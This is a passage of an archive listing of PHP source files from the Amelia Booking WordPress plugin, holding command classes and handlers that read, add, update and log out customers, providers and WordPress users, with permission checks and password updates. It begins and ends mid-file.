AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Infrastructure\Repository\User\WPUserRepository; use AmeliaBooking\Infrastructure\WP\UserService\UserService; /** * Class GetWPUsersCommandHandler * * @package AmeliaBooking\Application\Commands\User */ class GetWPUsersCommandHandler extends CommandHandler { /** * @param GetWPUsersCommand $command * * @return CommandResult * @throws AccessDeniedException * @throws InvalidArgumentException * @throws \AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function handle(GetWPUsersCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::EMPLOYEES)) { throw new AccessDeniedException('You are not allowed to read employees.'); } if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::CUSTOMERS)) { throw new AccessDeniedException('You are not allowed to read customers.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var UserService $userService */ $userService = $this->container->get('users.service'); $adminIds = $userService->getWpUserIdsByRoles(['administrator']); /** @var WPUserRepository $wpUserRepository */ $wpUserRepository = $this->getContainer()->get('domain.wpUsers.repository'); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved users.'); $result->setData([ Entities::USER . 's' => $wpUserRepository->getAllNonRelatedWPUsers($command->getFields(), $adminIds) ]); return $result; } } Commands/User/DeleteUserCommand.php 0000666 00000000363 15165412624 0013310 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User; use AmeliaBooking\Application\Commands\Command; /** * Class DeleteUserCommand * * @package AmeliaBooking\Application\Commands\User */ class DeleteUserCommand extends Command { } Commands/User/Customer/ReauthorizeCommandHandler.php 0000666 00000004547 15165412624 0016657 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Customer; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Services\Notification\EmailNotificationService; use AmeliaBooking\Application\Services\Notification\WhatsAppNotificationService; use AmeliaBooking\Domain\Entity\User\Customer; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; /** * Class ReauthorizeCommandHandler * * @package AmeliaBooking\Application\Commands\User\Customer */ class ReauthorizeCommandHandler extends CommandHandler { /** * @param ReauthorizeCommand $command * * @return CommandResult * @throws \AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException * @throws \Slim\Exception\ContainerException * @throws \InvalidArgumentException * @throws \UnexpectedValueException * @throws \Slim\Exception\ContainerValueNotFoundException * @throws \AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException * @throws \Exception */ public function handle(ReauthorizeCommand $command) { $result = new CommandResult(); /** @var UserRepository $userRepository */ $userRepository = $this->getContainer()->get('domain.users.repository'); /** @var EmailNotificationService $notificationService */ $notificationService = $this->getContainer()->get('application.emailNotification.service'); /** @var WhatsAppNotificationService $whatsAppNotificationService */ $whatsAppNotificationService = $this->getContainer()->get('application.whatsAppNotification.service'); /** @var Customer $customer */ $customer = $userRepository->getByEmail($command->getField('email')); if ($customer !== null) { $notificationService->sendRecoveryEmail($customer, $command->getField('email'), $command->getField('cabinetType')); } if ($customer !== null && $whatsAppNotificationService->checkRequiredFields() && !empty($customer->getPhone())) { $whatsAppNotificationService->sendRecoveryWhatsApp($customer, $command->getField('email'), $command->getField('cabinetType')); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully sent recovery email'); return $result; } } Commands/User/Customer/GetCustomersCommandHandler.php 0000666 00000011777 15165412624 0017005 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Customer; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\ProviderApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\User\CustomerRepository; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class GetCustomersCommandHandler * * @package AmeliaBooking\Application\Commands\User\Customer */ class GetCustomersCommandHandler extends CommandHandler { /** * @param GetCustomersCommand $command * * @return CommandResult * @throws InvalidArgumentException * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws ContainerException * @throws Exception * @throws AccessDeniedException */ public function handle(GetCustomersCommand $command) { $result = new CommandResult(); /** @var AbstractUser $currentUser */ $currentUser = $this->container->get('logged.in.user'); if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::CUSTOMERS) && !($currentUser && $currentUser->getType() === AbstractUser::USER_ROLE_PROVIDER) ) { if ($command->getToken()) { /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); try { $currentUser = $userAS->authorization($command->getToken(), 'provider'); } catch (AuthorizationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData( [ 'reauthorize' => true ] ); return $result; } } else { throw new AccessDeniedException('You are not allowed to read customers.'); } } /** @var CustomerRepository $customerRepository */ $customerRepository = $this->getContainer()->get('domain.users.customers.repository'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var ProviderApplicationService $providerAS */ $providerAS = $this->container->get('application.user.provider.service'); $params = $command->getField('params'); $countParams = []; if (!$this->getContainer()->getPermissionsService()->currentUserCanReadOthers(Entities::CUSTOMERS)) { /** @var Collection $providerCustomers */ $providerCustomers = $providerAS->getAllowedCustomers($currentUser); $params['customers'] = array_column($providerCustomers->toArray(), 'id'); $countParams['customers'] = $params['customers']; } $itemsPerPage = !empty($params['limit']) ? $params['limit'] : $settingsService->getSetting('general', 'itemsPerPage'); $users = $customerRepository->getFiltered( array_merge($params, ['ignoredBookings' => true]), $itemsPerPage ); if (!empty($users)) { $usersWithBookingsStats = $customerRepository->getFiltered( array_merge($params, ['ignoredBookings' => false, 'customers' => array_keys($users)]), null ); foreach ($users as $key => $user) { $users[$key] = $usersWithBookingsStats[$key]; } } $users = array_values($users); foreach ($users as &$user) { $user['wpUserPhotoUrl'] = $this->container->get('user.avatar')->getAvatar($user['externalId']); $user = array_map( function ($v) { return (null === $v) ? '' : $v; }, $user ); } $resultData = [ Entities::USER . 's' => $users, ]; if (empty($params['skipCount'])) { $resultData['filteredCount'] = (int)$customerRepository->getCount($params); $resultData['totalCount'] = (int)$customerRepository->getCount($countParams); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved users.'); $result->setData($resultData); return $result; } } Commands/User/Customer/GetCustomerCommandHandler.php 0000666 00000003626 15165412624 0016614 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Customer; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Domain\Repository\User\UserRepositoryInterface; /** * Class GetCustomerCommandHandler * * @package AmeliaBooking\Application\Commands\User\Customer */ class GetCustomerCommandHandler extends CommandHandler { /** * @param GetCustomerCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws AccessDeniedException * @throws InvalidArgumentException * @throws \Interop\Container\Exception\ContainerException */ public function handle(GetCustomerCommand $command) { $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var UserRepositoryInterface $userRepository */ $userRepository = $this->getContainer()->get('domain.users.repository'); $user = $userRepository->getById((int)$command->getField('id')); if (!$user instanceof AbstractUser) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not retrieve user'); return $result; } if (!$this->getContainer()->getPermissionsService()->currentUserCanRead($user->getType())) { throw new AccessDeniedException('You are not allowed to read user'); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved user'); $result->setData([ Entities::USER => $user->toArray() ]); return $result; } } Commands/User/Customer/GetCustomersCommand.php 0000666 00000000411 15165412624 0015466 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Customer; use AmeliaBooking\Application\Commands\Command; /** * Class GetCustomersCommand * * @package AmeliaBooking\Application\Commands\User\Customer */ class GetCustomersCommand extends Command { } Commands/User/Customer/UpdateCustomerCommand.php 0000666 00000000666 15165412624 0016022 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Customer; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateCustomerCommand * * @package AmeliaBooking\Application\Commands\User\Customer */ class UpdateCustomerCommand extends Command { /** * AddCustomerCommand constructor. * * @param $args */ public function __construct($args) { parent::__construct($args); } } Commands/User/Customer/UpdateCustomerCommandHandler.php 0000666 00000014300 15165412624 0017306 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Customer; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Customer; use AmeliaBooking\Domain\Factory\User\UserFactory; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\Password; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use Interop\Container\Exception\ContainerException; /** * Class UpdateCustomerCommandHandler * * @package AmeliaBooking\Application\Commands\User\Customer */ class UpdateCustomerCommandHandler extends CommandHandler { /** * @param UpdateCustomerCommand $command * * @return CommandResult * * @throws ContainerException * @throws InvalidArgumentException * @throws NotFoundException * @throws QueryExecutionException * @throws AccessDeniedException */ public function handle(UpdateCustomerCommand $command) { /** @var CommandResult $result */ $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); /** @var Customer $oldUser */ $oldUser = null; /** @var UserRepository $userRepository */ $userRepository = $this->getContainer()->get('domain.users.repository'); $userRepository->beginTransaction(); if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::CUSTOMERS)) { $oldUser = $userAS->getAuthenticatedUser($command->getToken(), false, 'customerCabinet'); if ($oldUser === null) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not retrieve user'); $result->setData( [ 'reauthorize' => true ] ); return $result; } } else { $oldUser = $userRepository->getById($command->getArg('id')); } if ($command->getField('externalId') === -1) { $command->setField('externalId', null); } /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var AbstractUser $currentUser */ $currentUser = $this->container->get('logged.in.user'); if ($command->getField('email') === '' && !$settingsService->getSetting('roles', 'allowCustomerDeleteProfile') && (!$currentUser || $currentUser->getType() === AbstractUser::USER_ROLE_CUSTOMER) ) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not update user.'); return $result; } $customerData = $command->getFields(); if (!isset($customerData['password'])) { $customerData['translations'] = !empty($customerData['translations']) ? $customerData['translations'] : null; $customerData['birthday'] = !empty($customerData['birthday']) ? $customerData['birthday'] : null; } /** @var Customer $newUser */ $newUser = UserFactory::create(array_merge($oldUser->toArray(), $customerData)); if (!($newUser instanceof AbstractUser)) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not update user.'); return $result; } if ($oldUser && $userRepository->getByEmail($newUser->getEmail()->getValue()) && $oldUser->getEmail()->getValue() !== $newUser->getEmail()->getValue() ) { $result->setResult(CommandResult::RESULT_CONFLICT); $result->setMessage('Email already exist.'); $result->setData('This email is already in use.'); return $result; } if ($command->getField('password')) { /** @var Password $newPassword */ $newPassword = new Password($command->getField('password')); $userRepository->updateFieldById($command->getArg('id'), $newPassword->getValue(), 'password'); if ($newUser->getExternalId() && $newUser->getExternalId()->getValue()) { wp_set_password($command->getField('password'), $newUser->getExternalId()->getValue()); } } if (!$userRepository->update($command->getArg('id'), $newUser)) { $userRepository->rollback(); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not update user.'); return $result; } if ($command->getField('externalId') === 0) { /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); $userAS->setWpUserIdForNewUser($command->getArg('id'), $newUser); } if ($command->getField('email') === '') { /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); $bookingRepository->updateInfoByCustomerId($oldUser->getId()->getValue(), null); } $userRepository->commit(); $result = $userAS->getAuthenticatedUserResponse( $newUser, $oldUser->getEmail()->getValue() !== $newUser->getEmail()->getValue(), true, $oldUser->getLoginType(), 'customer' ); $result->setMessage('Successfully updated user'); return $result; } } Commands/User/Customer/AddCustomerCommand.php 0000666 00000001022 15165412624 0015253 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Customer; use AmeliaBooking\Application\Commands\Command; /** * Class AddCustomerCommand * * @package AmeliaBooking\Application\Commands\User\Customer */ class AddCustomerCommand extends Command { /** * AddCustomerCommand constructor. * * @param $args */ public function __construct($args) { parent::__construct($args); if (isset($args['type'])) { $this->setField('type', $args['type']); } } } Commands/User/Customer/ReauthorizeCommand.php 0000666 00000000406 15165412624 0015347 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Customer; use AmeliaBooking\Application\Commands\Command; /** * Class ReauthorizeCommand * * @package AmeliaBooking\Application\Commands\User\Customer */ class ReauthorizeCommand extends Command { } Commands/User/Customer/GetCustomerCommand.php 0000666 00000001014 15165412624 0015303 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Customer; use AmeliaBooking\Application\Commands\Command; /** * Class GetCustomerCommand * * @package AmeliaBooking\Application\Commands\User\Customer */ class GetCustomerCommand extends Command { /** * AddCustomerCommand constructor. * * @param $args */ public function __construct($args) { parent::__construct($args); if (isset($args['id'])) { $this->setField('id', $args['id']); } } } Commands/User/Customer/AddCustomerCommandHandler.php 0000666 00000003767 15165412624 0016573 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Customer; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\CustomerApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Factory\User\UserFactory; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; /** * Class AddCustomerCommandHandler * * @package AmeliaBooking\Application\Commands\User\Customer */ class AddCustomerCommandHandler extends CommandHandler { public $mandatoryFields = [ 'type', 'firstName', 'lastName', 'email' ]; /** * @param AddCustomerCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws AccessDeniedException * @throws InvalidArgumentException * @throws \AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function handle(AddCustomerCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::CUSTOMERS)) { throw new AccessDeniedException('You are not allowed to perform this action!'); } /** @var CustomerApplicationService $customerAS */ $customerAS = $this->container->get('application.user.customer.service'); $this->checkMandatoryFields($command); if ($command->getField('externalId') === -1) { $command->setField('externalId', null); } return $customerAS->createCustomer($command->getFields()); } } Commands/User/LogoutCabinetCommandHandler.php 0000666 00000001542 15165412624 0015304 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Infrastructure\WP\UserService\UserService; /** * Class LogoutCabinetCommandHandler * * @package AmeliaBooking\Application\Commands\User */ class LogoutCabinetCommandHandler extends CommandHandler { /** * @param LogoutCabinetCommand $command * * @return CommandResult */ public function handle(LogoutCabinetCommand $command) { $result = new CommandResult(); /** @var UserService $userService */ $userService = $this->container->get('users.service'); $userService->logoutWordPressUser(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setData([]); return $result; } } Commands/User/LogoutCabinetCommand.php 0000666 00000000371 15165412624 0014005 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User; use AmeliaBooking\Application\Commands\Command; /** * Class LogoutCabinetCommand * * @package AmeliaBooking\Application\Commands\User */ class LogoutCabinetCommand extends Command { } Commands/User/GetWPUsersCommand.php 0000666 00000000363 15165412624 0013257 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User; use AmeliaBooking\Application\Commands\Command; /** * Class GetWPUsersCommand * * @package AmeliaBooking\Application\Commands\User */ class GetWPUsersCommand extends Command { } Commands/User/GetUserDeleteEffectCommandHandler.php 0000666 00000007703 15165412624 0016370 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\WP\Translations\BackendStrings; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class GetUserDeleteEffectCommandHandler * * @package AmeliaBooking\Application\Commands\User */ class GetUserDeleteEffectCommandHandler extends CommandHandler { /** * @param GetUserDeleteEffectCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws InvalidArgumentException * @throws NotFoundException * @throws QueryExecutionException * @throws ContainerException */ public function handle(GetUserDeleteEffectCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::EMPLOYEES) && !$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::CUSTOMERS) ) { throw new AccessDeniedException('You are not allowed to read user'); } $result = new CommandResult(); /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); $appointmentsCount = $userAS->getAppointmentsCountForUser($command->getArg('id')); /** @var Collection $events */ $events = $eventRepository->getFiltered( [ 'customerId' => $command->getArg('id'), 'bookingStatus' => BookingStatus::APPROVED, 'dates' => [DateTimeService::getNowDateTime()], ] ); $message = ''; if ($appointmentsCount['futureAppointments'] > 0) { $appointmentString = $appointmentsCount['futureAppointments'] === 1 ? 'appointment' : 'appointments'; $message = "Could not delete user. This user has {$appointmentsCount['futureAppointments']} {$appointmentString} in the future."; } elseif ($appointmentsCount['packageAppointments']) { $message = "This service is available for booking in purchased package. Are you sure you want to delete this user?"; } elseif ($appointmentsCount['pastAppointments'] > 0) { $appointmentString = $appointmentsCount['pastAppointments'] === 1 ? 'appointment' : 'appointments'; $message = "This user has {$appointmentsCount['pastAppointments']} {$appointmentString} in the past."; } elseif ($events->length()) { $eventString = $events->length() > 1 ? 'events' : 'event'; $message = "This user is an attendee in future {$eventString}. Are you sure you want to delete this user?"; } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved message.'); $result->setData( [ 'valid' => $appointmentsCount['futureAppointments'] ? false : true, 'message' => $message ] ); return $result; } } Commands/User/Provider/UpdateProviderCommandHandler.php 0000666 00000015204 15165412624 0017274 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Provider; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\ProviderApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Factory\User\UserFactory; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\Password; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class UpdateProviderCommandHandler * * @package AmeliaBooking\Application\Commands\User\Provider */ class UpdateProviderCommandHandler extends CommandHandler { /** * @param UpdateProviderCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException */ public function handle(UpdateProviderCommand $command) { $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var ProviderApplicationService $providerAS */ $providerAS = $this->container->get('application.user.provider.service'); $userId = (int)$command->getArg('id'); /** @var AbstractUser $currentUser */ $currentUser = $this->container->get('logged.in.user'); /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::EMPLOYEES) || ( !$this->getContainer()->getPermissionsService()->currentUserCanWriteOthers(Entities::EMPLOYEES) && ( !$currentUser->getId() || $currentUser->getId()->getValue() !== $userId ) ) ) { $oldUser = $userAS->getAuthenticatedUser($command->getToken(), false, 'providerCabinet'); if ($oldUser === null) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not retrieve user'); $result->setData( [ 'reauthorize' => true ] ); return $result; } $oldUser = $providerAS->getProviderWithServicesAndSchedule($oldUser->getId()->getValue()); } else { $oldUser = $providerAS->getProviderWithServicesAndSchedule($userId); } $command->setField('id', $userId); /** @var Provider $newUser */ $newUser = UserFactory::create(array_merge($oldUser->toArray(), $command->getFields())); if (!($newUser instanceof AbstractUser)) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not update user.'); return $result; } if (($currentUser === null && $command->getToken()) || $currentUser->getType() === AbstractUser::USER_ROLE_PROVIDER ) { /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $rolesSettings = $settingsDS->getCategorySettings('roles'); if (!$rolesSettings['allowConfigureServices']) { $newUser->setServiceList($oldUser->getServiceList()); } if (!$rolesSettings['allowConfigureSchedule']) { $newUser->setWeekDayList($oldUser->getWeekDayList()); } if (!$rolesSettings['allowConfigureDaysOff']) { $newUser->setDayOffList($oldUser->getDayOffList()); } if (!$rolesSettings['allowConfigureSpecialDays']) { $newUser->setSpecialDayList($oldUser->getSpecialDayList()); } } $providerRepository->beginTransaction(); if ($providerRepository->getByEmail($newUser->getEmail()->getValue()) && $oldUser->getEmail()->getValue() !== $newUser->getEmail()->getValue()) { $result->setResult(CommandResult::RESULT_CONFLICT); $result->setMessage('Email already exist.'); $result->setData('This email is already in use.'); return $result; } if ($command->getField('password')) { $newPassword = new Password($command->getField('password')); $providerRepository->updateFieldById($command->getArg('id'), $newPassword->getValue(), 'password'); if ($newUser->getExternalId() && $newUser->getExternalId()->getValue()) { wp_set_password($command->getField('password'), $newUser->getExternalId()->getValue()); } } try { if (!$providerAS->update($oldUser, $newUser)) { $providerRepository->rollback(); return $result; } if ($command->getField('externalId') === 0) { /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); $userAS->setWpUserIdForNewUser($userId, $newUser); } } catch (QueryExecutionException $e) { $providerRepository->rollback(); throw $e; } $result = $userAS->getAuthenticatedUserResponse( $newUser, $oldUser->getEmail()->getValue() !== $newUser->getEmail()->getValue(), true, $oldUser->getLoginType(), 'provider' ); $result->setData( array_merge( $result->getData(), ['sendEmployeePanelAccessEmail' => $command->getField('password') && $command->getField('sendEmployeePanelAccessEmail'), 'password' => $command->getField('password') ] ) ); $providerRepository->commit(); return $result; } } Commands/User/Provider/UpdateProviderStatusCommand.php 0000666 00000000713 15165412624 0017201 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Provider; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateProviderStatusCommand * * @package AmeliaBooking\Application\Commands\User\Provider */ class UpdateProviderStatusCommand extends Command { /** * UpdateProviderStatusCommand constructor. * * @param $args */ public function __construct($args) { parent::__construct($args); } } Commands/User/Provider/GetProvidersCommand.php 0000666 00000000411 15165412624 0015450 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Provider; use AmeliaBooking\Application\Commands\Command; /** * Class GetProvidersCommand * * @package AmeliaBooking\Application\Commands\User\Provider */ class GetProvidersCommand extends Command { } Commands/User/Provider/GetProviderCommandHandler.php 0000666 00000012732 15165412624 0016574 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Provider; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\ProviderApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Services\Google\GoogleCalendarService; use AmeliaBooking\Infrastructure\Services\Outlook\OutlookCalendarService; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class GetProviderCommandHandler * * @package AmeliaBooking\Application\Commands\User\Provider */ class GetProviderCommandHandler extends CommandHandler { /** * @param GetProviderCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws QueryExecutionException * @throws ContainerException * @throws InvalidArgumentException */ public function handle(GetProviderCommand $command) { /** @var int $providerId */ $providerId = (int)$command->getField('id'); /** @var AbstractUser $currentUser */ $currentUser = $this->container->get('logged.in.user'); if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::EMPLOYEES) || ( !$this->getContainer()->getPermissionsService()->currentUserCanReadOthers(Entities::EMPLOYEES) && $currentUser->getId()->getValue() !== $providerId ) ) { throw new AccessDeniedException('You are not allowed to read employee.'); } $result = new CommandResult(); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var ProviderApplicationService $providerService */ $providerService = $this->container->get('application.user.provider.service'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var GoogleCalendarService $googleCalService */ $googleCalService = $this->container->get('infrastructure.google.calendar.service'); /** @var OutlookCalendarService $outlookCalendarService */ $outlookCalendarService = $this->container->get('infrastructure.outlook.calendar.service'); $companyDaysOff = $settingsService->getCategorySettings('daysOff'); $companyDayOff = $providerService->checkIfTodayIsCompanyDayOff($companyDaysOff); /** @var Provider $provider */ $provider = $providerService->getProviderWithServicesAndSchedule($providerId); $providerService->modifyPeriodsWithSingleLocationAfterFetch($provider->getWeekDayList()); $providerService->modifyPeriodsWithSingleLocationAfterFetch($provider->getSpecialDayList()); $futureAppointmentsServicesIds = $appointmentRepository->getFutureAppointmentsServicesIds( [$provider->getId()->getValue()], DateTimeService::getNowDateTime(), null ); $providerArray = $providerService->manageProvidersActivity( [$provider->toArray()], $companyDayOff )[0]; $successfulGoogleConnection = true; $successfulOutlookConnection = true; if ($googleCalService) { try { // Get Provider's Google Calendar List $providerArray['googleCalendar']['calendarList'] = $googleCalService->listCalendarList($provider); // Set Provider's Default Google Calendar Id $providerArray['googleCalendar']['calendarId'] = $googleCalService->getProviderGoogleCalendarId($provider); } catch (\Exception $e) { $successfulGoogleConnection = false; } } if ($outlookCalendarService) { try { // Get Provider's Outlook Calendar List $providerArray['outlookCalendar']['calendarList'] = $outlookCalendarService->listCalendarList($provider); // Set Provider's Default Google Calendar Id $providerArray['outlookCalendar']['calendarId'] = $outlookCalendarService->getProviderOutlookCalendarId( $provider ); } catch (\Exception $e) { $successfulOutlookConnection = false; } } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved user.'); $result->setData( [ Entities::USER => $providerArray, 'successfulGoogleConnection' => $successfulGoogleConnection, 'successfulOutlookConnection' => $successfulOutlookConnection, 'futureAppointmentsServicesIds' => 